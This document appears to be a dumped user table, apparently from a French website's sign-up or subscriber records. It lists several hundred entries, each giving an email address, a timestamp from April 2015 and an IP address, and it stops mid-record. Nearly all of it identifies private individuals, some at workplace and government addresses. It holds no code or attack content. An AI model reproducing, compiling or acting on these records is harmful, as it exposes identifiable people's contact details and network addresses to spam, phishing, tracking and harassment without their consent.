+9135;danielle.lanusse@orange.fr;2015-04-20 13:50:09;109.223.86.153 +9136;rvbobber@hotmail.fr;2015-04-20 14:10:53;194.199.79.247 +9137;htamae@yahoo.fr;2015-04-20 14:11:12;78.213.242.214 +9138;alexbreizh24@yahoo.fr;2015-04-20 14:13:22;90.45.142.237 +9139;phane4@orange.fr;2015-04-20 14:15:36;92.160.47.78 +9140;marie.e.jensen@gmail.com;2015-04-20 14:26:05;84.5.134.62 +9141;gaellemaidon@yahoo.fr;2015-04-20 14:28:02;82.244.227.148 +9142;contion.marie-line@orange.fr;2015-04-20 15:05:25;92.144.102.114 +9143;laurence.riols@wanadoo.fr;2015-04-20 15:34:06;86.202.126.228 +9144;sarrou.joel@wanadoo.fr;2015-04-20 16:03:45;176.181.235.151 +9145;degeilh.therese@neuf.fr;2015-04-20 16:32:50;176.189.224.23 +9146;willemin.jean-luc@orange.fr;2015-04-20 16:47:43;86.204.226.99 +9147;jemacris@orange.fr;2015-04-20 17:02:41;90.30.26.173 +9148;corabus@hotmail.fr;2015-04-20 17:03:11;93.2.32.189 +9149;FANNY.VIRET@SFR.FR;2015-04-20 18:20:29;77.145.30.184 +9150;grosjean.mireille54@gmail.com;2015-04-20 18:41:12;77.201.72.221 +9151;oceanecharlotte@laposte.net;2015-04-20 19:29:10;88.161.236.80 +9152;florencetmd@hotmail.com;2015-04-20 19:47:18;90.174.2.25 +9153;cesss@live.fr;2015-04-20 20:15:20;89.87.195.249 +9154;nefertary@live.fr;2015-04-20 20:27:24;79.81.229.56 +9155;christine738@hotmail.fr;2015-04-20 20:27:35;78.200.26.149 +9156;valerie.penetro@wanadoo.fr;2015-04-20 20:30:51;84.6.135.46 +9157;jaciara.mf@hotmail.com;2015-04-20 21:23:06;83.203.101.78 +9158;ophelieruch@hotmail.fr;2015-04-20 21:30:16;81.48.78.47 +9159;alain.vonner@orange.fr;2015-04-20 22:04:56;90.24.89.192 +9160;yvettekihodu@hotmail.de;2015-04-20 22:37:41;79.219.198.156 +9161;schneiderchristel@orange.fr;2015-04-20 22:43:35;78.238.148.100 +9162;mchineuse@gmail.com;2015-04-20 22:45:11;90.39.234.141 +9163;nounou.moisan@orange.fr;2015-04-20 23:12:29;92.132.104.104 +9164;vero.francois@wanadoo.fr;2015-04-20 23:40:10;86.223.158.122 +9165;arvroderez@yahoo.fr;2015-04-21 01:09:27;79.89.85.64 +9166;murielelouismarie@orange.fr;2015-04-21 01:34:10;90.31.253.129 +9167;marie.yan@gmx.com;2015-04-21 07:39:59;90.56.163.4 +9168;archier.christine@free.fr;2015-04-21 09:01:54;78.226.55.36 +9169;lindsay95620@hotmail.fr;2015-04-21 09:13:00;86.73.239.233 +9170;flocarton@aol.com;2015-04-21 09:18:03;89.94.212.229 +9171;anne.berendi@orange.fr;2015-04-21 09:40:56;92.133.74.233 +9172;ringot.florence@wanadoo.fr;2015-04-21 10:04:26;195.115.160.50 +9173;reglissetrita@gmail.com;2015-04-21 10:44:11;87.231.17.115 +9174;fabjdm@gmail.com;2015-04-21 10:50:53;77.242.202.243 +9175;stouf1917@hotmail.fr;2015-04-21 10:58:12;194.206.208.218 +9176;charlene.roussigne@hotmail.fr;2015-04-21 11:16:09;77.242.202.229 +9177;olega1@hotmail.com;2015-04-21 11:19:08;2.136.42.166 +9178;caroleatlan@sfr.fr;2015-04-21 11:42:59;92.150.210.42 +9179;thomas_val22@hotmail.com;2015-04-21 11:46:13;164.15.33.93 +9180;marie.hussong@gmail.com;2015-04-21 11:57:04;78.209.29.241 +9181;salinglart@nordnet.fr;2015-04-21 13:07:33;176.57.245.65 +9182;nourigatmelanie@hotmail.fr;2015-04-21 13:39:12;194.199.236.227 +9183;acollet@pierauge.com;2015-04-21 14:03:27;109.2.82.247 +9184;lydie.ndome@laposte.net;2015-04-21 14:04:41;86.65.191.54 +9185;alainetmonique.deletang@sfr.fr;2015-04-21 14:10:35;88.139.150.173 +9186;m.debayle@orange.fr;2015-04-21 14:36:53;92.133.49.96 +9187;gabriel.lemoine@wanadoo.fr;2015-04-21 14:51:39;86.211.218.14 +9188;nananis_the_girl@hotmail.com;2015-04-21 15:15:18;80.12.35.26 +9189;ga.girardot@laposte.net;2015-04-21 15:22:13;85.201.133.33 +9190;elodiekler@hotmail.fr;2015-04-21 15:32:30;80.15.125.228 +9191;johannelecaer@aol.com;2015-04-21 15:33:04;80.12.43.205 +9192;maria.cintrat@outlook.com;2015-04-21 15:37:17;90.21.181.175 +9193;joly.aurelie@wanadoo.fr;2015-04-21 16:03:48;90.6.169.147 +9194;leterrierlaurent@wanadoo.fr;2015-04-21 18:09:24;90.27.108.98 +9195;nadine.tositti@orange.fr;2015-04-21 18:35:30;92.146.129.158 +9196;dometfred59@gmail.com;2015-04-21 18:43:20;78.124.119.60 +9197;Jafranlu41@orange.fr;2015-04-21 19:24:49;90.24.1.110 +9198;christine1lili2@gmail.com;2015-04-21 19:43:46;109.132.199.205 +9199;fabiola.abardia@orange.fr;2015-04-21 19:53:37;90.3.164.185 +9200;auroredd@hotmail.fr;2015-04-21 20:13:48;86.196.76.137 +9201;popinha@hotmail.fr;2015-04-21 20:24:21;78.214.148.208 +9202;mariethe.domgarreau@free.fr;2015-04-21 20:30:34;78.226.148.147 +9203;cm.robin@orange.fr;2015-04-21 20:39:58;83.197.88.212 +9204;severine.legon595@orange.fr;2015-04-21 21:02:41;86.192.78.236 +9205;sandrine.poulenas@wanadoo.fr;2015-04-21 21:10:23;90.15.228.168 +9206;shareen972@gmail.com;2015-04-21 21:26:58;83.141.172.225 +9207;enzfamily13@gmail.com;2015-04-21 21:28:16;82.238.114.139 +9208;nath.cazotte@free.fr;2015-04-21 21:33:03;82.240.219.38 +9209;slyba@hotmail.fr;2015-04-21 22:35:35;176.190.251.70 +9210;germain.annick@sfr.fr;2015-04-21 23:03:17;92.92.126.237 +9211;coco_chou13@yahoo.fr;2015-04-21 23:23:21;78.244.33.42 +9212;sylvia.oliver@free.fr;2015-04-21 23:26:48;78.222.220.118 +9213;colette.nutri@wanadoo.fr;2015-04-21 23:37:25;78.219.146.163 +9214;paule.grobelny@laposte.net;2015-04-22 00:14:43;79.83.199.114 +9215;rcolmenero@elygestion.fr;2015-04-22 01:47:54;80.15.195.143 +9216;alice.bonnet.27@gmail.com;2015-04-22 02:49:15;78.112.134.84 +9217;contact@champagne-jm-tissier.com;2015-04-22 07:16:17;83.198.236.128 +9218;katell.lintanf@hotmail.fr;2015-04-22 07:41:49;77.148.109.32 +9219;chris.cro@dbmail.com;2015-04-22 08:28:14;89.227.4.122 +9220;sandra.godard0509@gmail.com;2015-04-22 08:43:24;109.19.23.126 +9221;stoltz.liliane@orange.fr;2015-04-22 08:58:43;90.6.243.68 +9222;rita.correia84@hotmail.com;2015-04-22 09:37:34;213.200.207.137 +9223;aureliecanu@yahoo.fr;2015-04-22 09:57:24;83.154.127.142 +9224;anne.palenzuela@wanadoo.fr;2015-04-22 10:05:05;90.55.247.161 +9225;barbara.gohe@free.fr;2015-04-22 10:05:42;88.183.216.113 +9226;baboukiss@yahoo.fr;2015-04-22 10:41:42;78.127.16.165 +9227;Z.DURAND1@LAPOSTE.NET;2015-04-22 10:42:14;90.61.224.231 +9228;christinemarcos@hotmail.fr;2015-04-22 10:43:34;86.228.179.198 +9229;maryline.ville@gmail.com;2015-04-22 10:46:16;86.201.57.192 +9230;emmanuellejeu@gmail.com;2015-04-22 10:58:43;89.88.59.89 +9231;sylviebourdin92@yahoo.fr;2015-04-22 11:13:53;217.128.188.52 +9232;corinebernard@orange.fr;2015-04-22 12:39:11;109.213.84.71 +9233;isabelleisb@gmail.com;2015-04-22 12:53:38;80.254.146.36 +9234;RICO76470@LIVE.FR;2015-04-22 13:01:27;109.209.180.178 +9235;sabine.natta@orange.fr;2015-04-22 13:05:51;92.148.23.204 +9236;cosicaa2a@gmail.com;2015-04-22 13:27:11;78.217.32.163 +9237;artdeplaire@vtxnet.ch;2015-04-22 13:33:46;83.228.245.126 +9238;gandois_a@yahoo.fr;2015-04-22 13:34:47;87.231.161.114 +9239;nad.dma@wanadoo.fr;2015-04-22 14:04:42;90.5.201.109 +9240;clairebergamini@hotmail.fr;2015-04-22 14:05:02;85.168.147.184 +9241;rousseauguislaine@orange.fr;2015-04-22 14:10:07;92.155.175.230 +9242;Reyandrea168@gmail.com;2015-04-22 14:17:41;81.193.67.174 +9243;carlier.renee@hotmail.fr;2015-04-22 14:21:13;78.231.70.45 +9244;lalavie92@hotmail.fr;2015-04-22 14:21:35;109.17.64.252 +9245;isabelle.audouin@free.fr;2015-04-22 14:38:39;88.189.176.232 +9246;liselevet@hotmail.com;2015-04-22 15:14:28;86.206.235.185 +9247;sandrine.faure@alcon.com;2015-04-22 15:31:17;194.98.79.18 +9248;natpan3@hotmail.com;2015-04-22 16:12:11;92.133.104.171 +9249;aislinn.fae@live.fr;2015-04-22 16:49:02;176.57.33.141 +9250;vigneron.huguette@orange.fr;2015-04-22 16:52:05;86.228.55.48 +9251;sandymeux@msn.com;2015-04-22 16:54:26;176.186.109.246 +9252;v.ragnetti-wasselin@orange.fr;2015-04-22 17:03:47;80.15.216.248 +9253;heurtauxlaura@gmail.com;2015-04-22 17:34:34;80.14.117.75 +9254;heurauxzwank@hotmail.fr;2015-04-22 17:38:54;78.198.45.59 +9255;sdufourciekid@gmail.com;2015-04-22 17:39:12;78.198.45.59 +9256;sylvienicot83@gmail.com;2015-04-22 18:35:51;82.244.122.206 +9257;brigitte.andrieu12@gmail.com;2015-04-22 20:01:14;77.199.212.209 +9258;diaveltrys@yahoo.fr;2015-04-22 20:55:27;89.227.60.250 +9259;shy144@hotmail.fr;2015-04-22 21:11:20;88.177.17.238 +9260;avalonwave@gmail.com;2015-04-22 21:15:38;2.9.56.68 +9261;chantalber@outlook.com;2015-04-22 21:23:46;88.170.42.18 +9262;brigitte24@wanadoo.fr;2015-04-22 22:12:28;92.156.20.196 +9263;sandrine.amaranthe@yahoo.fr;2015-04-22 23:05:53;89.157.163.152 +9264;daniel.cornilleau@orange.fr;2015-04-22 23:39:11;86.210.9.138 +9265;moniquebernard73@yahoo.fr;2015-04-23 00:29:06;109.28.42.232 +9266;cherazade71000@live.fr;2015-04-23 01:06:33;82.241.96.225 +9267;corinne.giordano@wanadoo.fr;2015-04-23 05:01:04;92.158.14.115 +9268;isabelle.goubely@orange.fr;2015-04-23 07:25:25;109.214.99.83 +9269;fernandamatias@orange.fr;2015-04-23 08:01:53;86.219.146.214 +9270;christine.vincent52@orange.fr;2015-04-23 08:06:58;90.29.143.57 +9271;eugenie.flauss@free.fr;2015-04-23 08:40:01;82.229.156.180 +9272;irz81073@hotmail.fr;2015-04-23 08:54:20;80.12.102.148 +9273;kadra.akachar123@orange.fr;2015-04-23 09:00:38;90.9.149.234 +9274;corinecarnevalo@hotmail.com;2015-04-23 09:33:28;88.160.117.188 +9275;natty.fall@icloud.com;2015-04-23 10:19:41;128.79.85.52 +9276;murielladraa@hotmail.fr;2015-04-23 10:37:54;31.35.33.61 +9277;gene.verant@wanadoo.fr;2015-04-23 11:15:31;92.139.146.158 +9278;agnesduthoit@gmail.com;2015-04-23 12:40:01;109.23.90.41 +9279;deblangy.m@hotmail.fr;2015-04-23 13:12:01;79.86.223.53 +9280;jambon.marieline@bbox.fr;2015-04-23 13:19:45;89.89.181.99 +9281;charles.rivet@sfr.fr;2015-04-23 14:22:19;84.99.74.168 +9282;sandrine.etienne5@orange.fr;2015-04-23 14:33:39;92.140.84.253 +9283;florence.cocagne@orange.fr;2015-04-23 14:37:14;90.22.16.70 +9284;ajwirth@free.fr;2015-04-23 14:37:16;88.184.216.1 +9285;emie.brule@lecouventdesminimes.com;2015-04-23 15:10:07;213.41.82.30 +9286;mh.darocha@free.fr;2015-04-23 15:19:43;109.237.254.210 +9287;alexandramartinez@neuf.fr;2015-04-23 15:21:59;86.221.104.56 +9288;elisaschneider@yahoo.fr;2015-04-23 15:41:50;82.127.253.89 +9289;laurence.boutfol@orange.fr;2015-04-23 16:27:55;90.21.86.218 +9290;caroline.hayaert@free.fr;2015-04-23 16:32:27;81.49.242.103 +9291;juliette.doc@orange.fr;2015-04-23 16:47:09;79.81.204.116 +9292;cs36@hotmail.fr;2015-04-23 16:55:00;78.235.96.98 +9293;kcellier123@hotmail.fr;2015-04-23 17:04:27;86.220.245.23 +9294;francesca__bianchi@libero.it;2015-04-23 18:06:19;2.43.183.127 +9295;isabelle.wisniewski@orange.fr;2015-04-23 20:04:34;90.4.145.24 +9296;nathalie.bourouis@hotmail.fr;2015-04-23 20:43:33;78.219.164.120 +9297;zeanissa@hotmail.fr;2015-04-23 20:56:24;78.238.115.191 +9298;dele.jsc@free.fr;2015-04-23 21:07:44;88.122.85.252 +9299;chaumontaise52@gmail.com;2015-04-23 21:10:42;77.148.197.153 +9300;jennifer.carvalho38@gmail.com;2015-04-23 21:20:42;92.90.20.182 +9301;sarah.nanhou@gmail.com;2015-04-23 21:49:36;81.248.19.94 +9302;gab020309@hotmail.be;2015-04-23 22:26:35;81.245.57.239 +9303;hanonpierre@orange.fr;2015-04-23 22:29:17;92.143.126.74 +9304;rsanaa@hotmail.fr;2015-04-23 22:31:43;78.244.241.69 +9305;yerleslaetitia096@gmail.com;2015-04-24 01:17:44;92.132.185.139 +9306;v.sandra28@hotmail.fr;2015-04-24 07:48:11;92.130.59.161 +9307;nicole.dreller6@orange.fr;2015-04-24 08:06:47;109.221.148.143 +9308;nefertiti811@hotmail.fr;2015-04-24 08:10:08;83.205.87.225 +9309;sabinebroggi@yahoo.fr;2015-04-24 09:26:56;37.58.155.51 +9310;brigitte.marceau@gmail.com;2015-04-24 09:51:49;80.9.139.45 +9311;jm.plan@live.fr;2015-04-24 10:20:43;95.210.221.80 +9312;jschanen@pt.lu;2015-04-24 10:33:15;88.207.220.238 +9313;vero.gravouil@yahoo.fr;2015-04-24 10:41:32;88.165.31.87 +9314;Souscutanee@gmail.com;2015-04-24 11:14:23;31.33.214.164 +9315;s.blanco78@gmail.com;2015-04-24 11:20:38;95.63.142.37 +9316;samson.caroline@yahoo.fr;2015-04-24 13:45:24;81.57.235.19 +9317;O.caproni@gmail.com;2015-04-24 14:04:22;88.140.135.219 +9318;alice.abad1998@gmail.com;2015-04-24 14:35:26;90.30.72.65 +9319;chantal.darrieu@gmail.com;2015-04-24 14:47:24;81.220.198.3 +9320;marieanne.torres@live.fr;2015-04-24 14:47:50;109.7.222.238 +9321;arkancielle@wanadoo.fr;2015-04-24 14:58:33;90.0.170.235 +9322;artp@free.fr;2015-04-24 15:01:04;78.219.16.196 +9323;morelleclaudine@orange.fr;2015-04-24 15:11:44;90.59.68.55 +9324;loceanne90@gmail.com;2015-04-24 15:15:38;78.236.37.191 +9325;jeanne.hochberg@live.fr;2015-04-24 15:21:50;212.208.21.241 +9326;laurine.abrieu@oracom.fr;2015-04-24 15:29:42;46.218.80.160 +9327;mariejose.hucornecodant@bbox.fr;2015-04-24 16:39:07;195.36.237.95 +9328;luce.charuel@gmail.com;2015-04-24 17:10:37;82.236.141.208 +9329;julielemoullec@hotmail.fr;2015-04-24 17:45:42;31.33.0.79 +9330;sylvie18_9@msn.com;2015-04-24 19:21:11;93.19.196.213 +9331;pourlau@hotmail.fr;2015-04-24 20:05:54;78.114.98.22 +9332;chococaro@hotmail.fr;2015-04-24 20:49:24;109.210.29.93 +9333;mariedu32000@hotmail.fr;2015-04-24 21:02:06;78.209.158.92 +9334;t.villerbu@amparis.fr;2015-04-24 21:03:59;92.151.102.173 +9335;francine.dasilva@orange.fr;2015-04-24 21:22:32;90.40.167.203 +9336;plumeka@hotmail.fr;2015-04-24 21:35:29;90.6.238.153 +9337;steve.chapus@sfr.fr;2015-04-24 22:15:28;88.137.198.249 +9338;eylem_aylin@hotmail.com;2015-04-24 22:16:45;78.234.48.121 +9339;juliehaller_25@hotmail.com;2015-04-25 00:08:44;78.217.156.135 +9340;sabkad@free.fr;2015-04-25 00:12:27;37.162.194.24 +9341;herzog.dominique@wanadoo.fr;2015-04-25 08:48:15;90.26.187.151 +9342;marysabelrahuel@orange.fr;2015-04-25 09:38:30;2.2.93.236 +9343;toutous.laines@free.fr;2015-04-25 10:07:44;88.183.116.79 +9344;grandepharmacie@legall-sante-services.com;2015-04-25 10:08:14;217.128.177.48 +9345;family.perrot2@wanadoo.fr;2015-04-25 10:13:58;90.29.189.213 +9346;mathiaud-am@sfr.fr;2015-04-25 10:26:01;77.130.185.97 +9347;bommarito.armande@laposte.net;2015-04-25 10:28:55;77.152.149.6 +9348;kayamya@gmail.fr;2015-04-25 10:55:15;86.219.204.110 +9349;thepar66@gmail.com;2015-04-25 11:21:58;78.244.159.10 +9350;t.elodie@orange.fr;2015-04-25 11:31:07;77.147.7.152 +9351;mumuchaty@hotmail.fr;2015-04-25 11:35:49;86.195.46.178 +9352;giseledenercy@hotmail.fr;2015-04-25 12:28:58;77.193.217.51 +9353;lolalille@hotmail.fr;2015-04-25 12:47:18;81.65.181.150 +9354;e.capdeville78@gmail.com;2015-04-25 12:59:11;82.237.209.187 +9355;melliz@hotmail.fr;2015-04-25 13:06:22;81.66.180.85 +9356;carine_oria.perez@yahoo.fr;2015-04-25 13:23:10;90.40.236.232 +9357;soizike56@msn.com;2015-04-25 13:23:22;89.170.54.4 +9358;thomyre.b@wanadoo.fr;2015-04-25 14:01:40;2.14.198.94 +9359;lusyamcoga@orange.fr;2015-04-25 14:31:31;83.201.75.66 +9360;boogieshade@live.fr;2015-04-25 15:39:23;77.144.73.147 +9361;theodoselikat@yahoo.gr;2015-04-25 15:49:52;46.12.215.140 +9362;marianne.pinna@free.fr;2015-04-25 16:22:05;78.235.92.171 +9363;patricia.potot@club-internet.fr;2015-04-25 17:42:24;90.39.6.145 +9364;cressyl@bluewin.ch;2015-04-25 18:09:41;77.57.194.185 +9365;corinne.bv@hotmail.fr;2015-04-25 18:36:39;62.34.130.152 +9366;nellajannotta@hotmail.fr;2015-04-25 18:44:19;2.4.109.208 +9367;degand.monique@gmail.com;2015-04-25 18:52:32;88.188.44.224 +9368;tahrafen1@hotmail.fr;2015-04-25 19:48:23;82.224.96.225 +9369;guy.surjus@nordnet.fr;2015-04-25 20:09:42;88.202.2.136 +9370;pcakepcake@comcast.net;2015-04-25 20:34:56;50.185.191.142 +9371;distinta1947@live.fr;2015-04-25 22:11:55;77.129.1.61 +9372;sofirst@icloud.com;2015-04-25 22:36:33;90.29.63.163 +9373;matide71@msn.com;2015-04-25 22:43:10;93.49.194.37 +9374;calcal065@yahoo.fr;2015-04-26 01:02:51;83.76.10.80 +9375;mode4995@gmail.com;2015-04-26 02:57:57;78.237.93.230 +9376;sandythai33@gmail.com;2015-04-26 02:58:20;78.237.93.230 +9377;kmalaquin@free.fr;2015-04-26 08:36:13;78.237.196.88 +9378;honorine.hoarau974@laposte.net;2015-04-26 10:00:40;80.8.130.219 +9379;viennemathieu@gmail.com;2015-04-26 10:15:03;94.109.107.233 +9380;v.chaize@orange.fr;2015-04-26 10:45:53;90.29.246.11 +9381;henrion-jerome@orange.fr;2015-04-26 11:07:51;83.194.209.12 +9382;charlotteazur@hotmail.fr;2015-04-26 11:23:50;86.71.0.66 +9383;yyz890201@126.com;2015-04-26 12:46:03;85.168.9.228 +9384;ce.waucheul@gmail.com;2015-04-26 12:46:56;195.146.229.129 +9385;nathaliecoloma@hotmail.com;2015-04-26 13:38:05;89.83.152.64 +9386;valerie.vinazza@laposte.fr;2015-04-26 13:41:14;80.12.39.102 +9387;copalex@skynet.be;2015-04-26 13:55:28;81.246.210.202 +9388;marlene.segura@live.fr;2015-04-26 14:34:39;176.183.117.196 +9389;victoire.theophile@yahoo.fr;2015-04-26 14:34:46;82.230.152.41 +9390;deyrail.bernadette@orange.fr;2015-04-26 14:39:57;86.201.249.77 +9391;aureliejaulent@yahoo.fr;2015-04-26 15:49:35;82.227.172.196 +9392;magalie.baerst@yahoo.fr;2015-04-26 16:02:06;80.215.210.173 +9393;chbergeret@hotmail.com;2015-04-26 16:34:51;79.88.130.164 +9394;andre.lecaille@bbox.fr;2015-04-26 16:35:59;176.179.166.77 +9395;geraldine-denis@hotmail.fr;2015-04-26 16:59:02;79.89.31.139 +9396;martine.oliveira0871@orange.fr;2015-04-26 17:20:28;90.18.95.165 +9397;mj.bouillez@club_internet.fr;2015-04-26 17:25:58;78.114.234.250 +9398;laflodu25@wanadoo.fr;2015-04-26 17:27:34;90.56.165.110 +9399;veronique.versepuy@orange.fr;2015-04-26 17:59:58;86.207.26.12 +9400;sandrine.tardieu33@gmail.com;2015-04-26 18:13:00;82.123.62.243 +9401;cathy.boquet@voila.fr;2015-04-26 18:18:41;62.64.46.255 +9402;cecile-griffon@hotmail.fr;2015-04-26 18:19:02;92.139.73.179 +9403;bouassanoemie@gmail.com;2015-04-26 18:43:46;176.187.157.5 +9404;marie-jose.hym@orange.fr;2015-04-26 18:47:40;92.158.186.181 +9405;melanie.audibert@hotmail.fr;2015-04-26 19:04:44;82.234.199.113 +9406;leg-jez@wanadoo.fr;2015-04-26 19:33:01;92.160.30.223 +9407;francine.zordan64@gmail.com;2015-04-26 19:48:16;78.228.15.161 +9408;cynthia.chay@wanadoo.fr;2015-04-26 20:25:14;77.134.225.132 +9409;mfpelliard@hotmail.fr;2015-04-26 21:19:17;77.192.158.25 +9410;marina821@hotmail.fr;2015-04-26 21:19:57;109.213.103.77 +9411;gautrefamily@hotmail.fr;2015-04-26 21:25:06;89.94.47.45 +9412;murielle.pierret@gmail.com;2015-04-26 21:32:05;87.65.177.193 +9413;laure_l@hotmail.com;2015-04-26 21:41:07;82.224.190.120 +9414;mel6.37@orange.fr;2015-04-26 21:55:28;90.63.66.69 +9415;eddy.delestrez@bbox.fr;2015-04-26 22:51:57;176.144.197.145 +9416;isabelle.vincensini@sfr.fr;2015-04-27 06:07:11;185.24.185.27 +9417;gaec.gournay@wanadoo.fr;2015-04-27 08:56:13;90.59.2.71 +9418;nathaliemarquigny@wanadoo.fr;2015-04-27 09:18:07;109.219.54.213 +9419;lesageclaudine@laposte.net;2015-04-27 09:34:03;90.52.166.236 +9420;erikafloury@voila.fr;2015-04-27 09:47:39;90.56.83.242 +9421;carole.plagnat@wanadoo.fr;2015-04-27 10:00:51;80.245.18.222 +9422;lamure.jocelyne@gmail.com;2015-04-27 10:11:36;90.42.4.15 +9423;val2lil@hotmail.fr;2015-04-27 10:33:03;77.128.150.12 +9424;duvernoy.lysis1@orange.fr;2015-04-27 10:36:17;86.197.71.237 +9425;marielle.pelier@wanadoo.fr;2015-04-27 10:49:07;86.197.118.224 +9426;mimiguillaume@hotmail.be;2015-04-27 10:51:54;81.240.237.5 +9427;danielle.hosrofian@free.fr;2015-04-27 11:12:31;82.234.238.200 +9428;nathalie.derebourseaux@dbmail.com;2015-04-27 11:40:42;90.17.43.219 +9429;alain.cat8@orange.fr;2015-04-27 11:54:09;92.156.84.141 +9430;ffggetchabal@hotmail.fr;2015-04-27 12:01:32;145.224.32.57 +9431;changerdair@neuf.fr;2015-04-27 12:52:42;176.144.32.167 +9432;hurak1@wanadoo.fr;2015-04-27 13:31:10;83.192.23.107 +9433;c545@laposte.net;2015-04-27 13:41:19;109.28.191.182 +9434;christophe.van-coppenolle@orange.fr;2015-04-27 13:46:39;81.250.201.236 +9435;mupoul@hotmail.fr;2015-04-27 14:28:59;89.86.147.90 +9436;legrand_murielle@hotmail.fr;2015-04-27 14:44:24;88.187.61.119 +9437;nadaamari96@gmail.com;2015-04-27 15:06:43;197.9.5.244 +9438;violaine.porez@gmail.com;2015-04-27 15:30:31;213.41.44.230 +9439;annabelle.lejay@orange.fr;2015-04-27 15:30:36;78.211.77.2 +9440;kenzy83@free.fr;2015-04-27 15:30:44;78.125.102.61 +9441;wwamour@gmail.com;2015-04-27 15:33:32;158.255.103.9 +9442;genevieve.joffre@gmail.com;2015-04-27 15:39:19;89.88.104.80 +9443;jocelyne.plazet@orange.fr;2015-04-27 17:11:17;86.201.227.148 +9444;aramayiss@hotmail.fr;2015-04-27 17:46:14;109.8.76.181 +9445;nelly.baylet@dbmail.com;2015-04-27 18:23:23;89.224.103.227 +9446;patricia.sabourdy@orange.fr;2015-04-27 18:40:28;86.216.10.236 +9447;titine06210@yahoo.fr;2015-04-27 19:07:18;78.237.20.169 +9448;NenyaUndomiel@hotmail.fr;2015-04-27 19:45:14;90.15.254.130 +9449;aoudjitnathalie@live.fr;2015-04-27 19:52:44;83.152.101.158 +9450;emmanuelle.alcala@sfr.fr;2015-04-27 20:36:49;77.195.101.92 +9451;www.oliveetangie@hotmail.fr;2015-04-27 21:00:11;89.93.1.146 +9452;guantianc060103@163.com;2015-04-27 21:15:10;82.230.8.12 +9453;nadege.chenet@free.fr;2015-04-27 22:14:15;90.32.179.205 +9454;alex.003@hotmail.fr;2015-04-27 22:15:45;90.4.189.134 +9455;zeinab.sedaghat@gmail.com;2015-04-27 22:39:55;93.31.176.67 +9456;sandrine.cazayous@voila.fr;2015-04-27 23:04:29;90.45.45.238 +9457;alisondim@live.fr;2015-04-27 23:13:02;176.190.64.108 +9458;persyl83@free.fr;2015-04-27 23:14:42;82.229.5.197 +9459;gaelle.druart@outlook.fr;2015-04-28 05:21:53;109.22.14.32 +9460;severinedrift@gmail.com;2015-04-28 09:03:50;81.51.210.85 +9461;mc.pretto@hotmail.fr;2015-04-28 09:08:40;62.64.41.77 +9462;claireges@neuf.fr;2015-04-28 09:13:24;84.100.33.100 +9463;chantaloudu@bois.hotmail.fr;2015-04-28 09:51:53;83.193.59.114 +9464;christine.latour@lavalette83.fr;2015-04-28 09:56:11;194.146.62.225 +9465;melanico876@orange.fr;2015-04-28 10:17:56;86.211.144.240 +9466;a.laclergerie@free.fr;2015-04-28 10:18:39;88.178.80.177 +9467;boulanger.santerre@wanadoo.fr;2015-04-28 10:32:32;92.131.133.56 +9468;pharmacie.vitasante.commande@orange.fr;2015-04-28 10:43:07;80.11.14.152 +9469;aurelie.p27@hotmail.fr;2015-04-28 11:05:57;90.63.155.135 +9470;stephanie_bia@yahoo.fr;2015-04-28 11:13:12;156.48.56.169 +9471;aurore.godart@gmail.com;2015-04-28 11:39:17;217.136.230.70 +9472;sdevesa@bluewin.ch;2015-04-28 11:41:16;212.74.146.92 +9473;TROTINETTE59@YAHOO.FR;2015-04-28 11:53:08;62.160.104.13 +9474;l.munoz499@laposte.net;2015-04-28 12:12:13;109.25.22.45 +9475;boehmc@boehms.org;2015-04-28 12:35:54;90.20.109.219 +9476;be.w@orange.fr;2015-04-28 12:39:18;90.46.15.40 +9477;cath.carbone@gmail.com;2015-04-28 13:01:07;92.142.35.232 +9478;virginietg@orange.fr;2015-04-28 13:30:40;217.128.100.110 +9479;bernadette.marchand@aisne.gouv.fr;2015-04-28 13:44:39;212.23.175.189 +9480;Calacanyelles.417310@gmail.com;2015-04-28 14:11:42;83.53.135.25 +9481;anniesinan@yahoo.fr;2015-04-28 14:11:49;88.166.52.238 +9482;odilegpn@voila.fr;2015-04-28 14:21:58;79.82.195.61 +9483;isabellefaucher45@gmail.com;2015-04-28 15:21:02;37.58.140.39 +9484;aideyi@laposte.net;2015-04-28 15:35:22;78.213.80.136 +9485;veroniqueferrara@free.fr;2015-04-28 15:52:24;193.248.201.81 +9486;huguettemerson@gmail.com;2015-04-28 16:28:06;89.224.30.165 +9487;h.trotin@laposte.net;2015-04-28 16:30:05;80.215.178.64 +9488;angeliquefargues@voila.fr;2015-04-28 16:43:40;86.76.223.112 +9489;mirsada.bakrac@orange.fr;2015-04-28 17:57:53;109.217.131.80 +9490;sandre.07@live.fr;2015-04-28 19:16:59;78.231.195.3 +9491;josephine.noriega@orange.fr;2015-04-28 19:37:27;90.55.195.107 +9492;cabray@wanadoo.fr;2015-04-28 20:59:53;77.201.133.70 +9493;beatrice.filet@hotmail.fr;2015-04-28 21:31:59;92.134.148.5 +9494;valerie.lemaire@dbmail.com;2015-04-28 22:11:08;92.135.99.2 +9495;isabelle.colomb@dgfip.finances.gouv.fr;2015-04-28 22:51:24;92.90.26.57 +9496;bellamadi@yahoo.fr;2015-04-28 23:05:03;5.50.34.48 +9497;lucie.petrigh@gmail.com;2015-04-28 23:31:39;86.211.76.144 +9498;princesse_786@hotmail.fr;2015-04-29 07:38:56;80.8.90.222 +9499;jhhjacq@free.fr;2015-04-29 09:01:46;88.167.105.5 +9500;reinekeller@yahoo.fr;2015-04-29 09:40:49;194.3.84.252 +9501;jean-marc.bouillard0104@orange.fr;2015-04-29 10:20:08;83.192.122.200 +9502;magnan.laurent@neuf.fr;2015-04-29 10:39:31;77.150.96.61 +9503;s.delin@free.fr;2015-04-29 11:41:56;82.255.84.67 +9504;s.audic@laposte.net;2015-04-29 12:00:51;78.244.183.116 +9505;nawel15@sfr.fr;2015-04-29 12:09:35;85.170.215.158 +9506;isroc2@hotmail.com;2015-04-29 12:47:30;78.217.228.67 +9507;b.b8ernwein@gmail.com;2015-04-29 12:58:31;31.35.248.71 +9508;c.mattei@senat.fr;2015-04-29 13:06:23;95.143.74.10 +9509;leformals@yahoo.fr;2015-04-29 13:15:51;86.215.106.250 +9510;laurasoltysiak@laposte.net;2015-04-29 13:16:29;80.215.212.251 +9511;camille0591@aol.com;2015-04-29 13:23:47;78.124.27.201 +9512;marion.glowacz@live.fr;2015-04-29 14:01:53;86.77.175.100 +9513;patricia.b37@orange.fr;2015-04-29 14:14:04;90.21.146.164 +9514;boissauxchristine@gmail.com;2015-04-29 14:21:11;217.128.163.150 +9515;m.philippe-huet@laposte.net;2015-04-29 14:35:36;85.170.80.251 +9516;nanou2364@hotmail.com;2015-04-29 15:27:19;193.190.122.30 +9517;emilie.lauer@gamil.com;2015-04-29 